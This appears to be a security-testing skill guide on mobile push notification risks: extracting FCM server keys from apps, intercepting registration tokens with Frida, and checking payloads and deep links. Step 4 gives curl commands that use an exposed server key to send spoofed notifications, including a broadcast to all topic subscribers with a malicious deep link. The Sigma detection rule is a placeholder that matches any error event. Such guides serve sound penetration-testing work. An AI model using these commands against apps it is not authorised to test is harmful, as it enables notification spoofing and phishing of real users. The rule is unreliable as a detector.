<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: analyzing-mobile-push-notification-security
description: >-
  Analyze mobile push notification security including FCM/APNs token handling,
  notification payload encryption, server key exposure, deep link injection
  via notifications, and notification spoofing on Android and iOS using Frida,
  traffic interception, and API testing.
domain: cybersecurity
subdomain: mobile-security
tags:
  - push-notifications
  - fcm
  - apns
  - token-security
  - deep-links
  - notification-spoofing
  - frida
  - firebase
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1398", "T1517"]
  owasp-mobile: ["M1", "M3"]
  tools: ["frida", "jadx", "apktool", "mitmproxy", "curl"]
---

# Analyzing Mobile Push Notification Security

## Overview

Push notifications deliver data to mobile devices through FCM (Android) and
APNs (iOS). Security risks include exposed server keys enabling notification
spoofing, sensitive data in notification payloads visible on lock screens,
deep link injection through notification URIs, and insecure registration
token handling that enables targeted phishing.

## Prerequisites

```bash
pip install frida-tools mitmproxy
apt install apktool curl jq
# jadx: https://github.com/skylot/jadx/releases
```

## Workflow

### Step 1: FCM/APNs Configuration Analysis

```bash
# Extract Firebase configuration from APK
apktool d target.apk -o apktool_out/
cat apktool_out/res/values/strings.xml | grep -i 'firebase\|gcm\|sender\|project'

# Extract google-services.json
find apktool_out/ -name 'google-services.json' -exec cat {} \;

# Check for exposed FCM server key in code
jadx -d jadx_out/ target.apk --deobf
grep -rn 'AAAA[A-Za-z0-9:_-]\{100,\}' jadx_out/  # FCM server key pattern
grep -rn 'server_key\|api_key.*firebase\|messaging_sender_id' jadx_out/

# iOS — check APNs entitlements
codesign -d --entitlements :- target.app 2>/dev/null | grep -i push
plutil -p target.app/Info.plist | grep -i 'UIBackgroundModes\|remote-notification'
```

### Step 2: Registration Token Interception

```bash
# Frida — intercept FCM registration token
frida -U -f com.target.app -l hook_fcm_token.js --no-pause

# Monitor token registration API calls
mitmproxy --mode regular --listen-port 8080 --showhost
# Filter for: fcmregistrations, iid.googleapis.com, device/register

# Check token storage
adb shell run-as com.target.app cat shared_prefs/com.google.firebase.messaging.xml

# Verify token rotation
# Token should change after: app reinstall, data clear, instance ID delete
```

### Step 3: Notification Payload Analysis

```bash
# Frida — hook notification receipt
frida -U -f com.target.app -l hook_notifications.js --no-pause

# Intercept notification payload via proxy
# FCM data messages are received via FirebaseMessagingService.onMessageReceived

# Check for sensitive data in notification payload
# Findings: PII, auth tokens, internal URLs, user data in notification body

# Verify notification display on lock screen
adb shell settings get secure lock_screen_show_notifications
# 1 = all content shown on lock screen (potential data leak)
```

### Step 4: FCM Server Key Exploitation

```bash
# If FCM server key is exposed, send arbitrary notifications
curl -X POST https://fcm.googleapis.com/fcm/send \
  -H "Authorization: key=EXPOSED_SERVER_KEY" \
  -H "Content-Type: application/json" \
  -d '{
    "to": "DEVICE_TOKEN",
    "notification": {
      "title": "Spoofed Notification",
      "body": "This is a test"
    },
    "data": {
      "deep_link": "myapp://malicious-path"
    }
  }'

# Send to topic (broadcast to all subscribers)
curl -X POST https://fcm.googleapis.com/fcm/send \
  -H "Authorization: key=EXPOSED_SERVER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"to": "/topics/all", "notification": {"title": "Broadcast"}}'
```

### Step 5: Deep Link Injection via Notifications

```bash
# Identify deep link handlers
grep -rn 'intent-filter' apktool_out/AndroidManifest.xml | grep -A5 'scheme'
grep -rn 'handleIntent\|onNewIntent\|getIntent.*getData' jadx_out/

# Test malicious deep links through notification payload
# Check if app validates deep link source
# Findings: navigation to arbitrary internal screens, parameter injection

# Frida — monitor deep link processing
frida -U -f com.target.app -l hook_deep_links.js --no-pause

# iOS — check universal links configuration
cat target.app/apple-app-site-association 2>/dev/null
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|-------------|
| Exposed server key | Static analysis | FCM server key in code/config |
| Sensitive payload | Traffic intercept | PII in notification data |
| Lock screen leak | Device settings | Notifications show on lock screen |
| No deep link validation | Code review | Arbitrary URI accepted from notification |
| Token in cleartext | Storage analysis | FCM token in SharedPreferences |

```yaml
title: Mobile Push Notification Security Detection
id: dd4ef18c-d6d5-4e81-8e81-b129b83b5823
status: experimental
description: Detects suspicious activity related to analyzing mobile push notification security techniques in mobile security context
logsource:
  category: application
  product: android
detection:
  selection:
    EventType: error
  condition: selection
level: medium
tags:
  - attack.t1398
  - attack.t1517
  - attack.initial_access
falsepositives:
  - Mobile device management platform enforcing security policies
```

## Verification

- [ ] FCM/APNs configuration reviewed for exposed keys
- [ ] Registration token lifecycle and storage assessed
- [ ] Notification payloads inspected for sensitive data
- [ ] FCM server key exposure tested for spoofing
- [ ] Deep link injection via notifications tested
- [ ] Lock screen notification data leakage checked

## References

- [Firebase Cloud Messaging](https://firebase.google.com/docs/cloud-messaging)
- [Apple Push Notification Service](https://developer.apple.com/documentation/usernotifications)
- [MITRE T1517 — Access Notifications](https://attack.mitre.org/techniques/T1517/)
- [OWASP MASTG — Platform Interaction](https://mas.owasp.org/MASTG/)
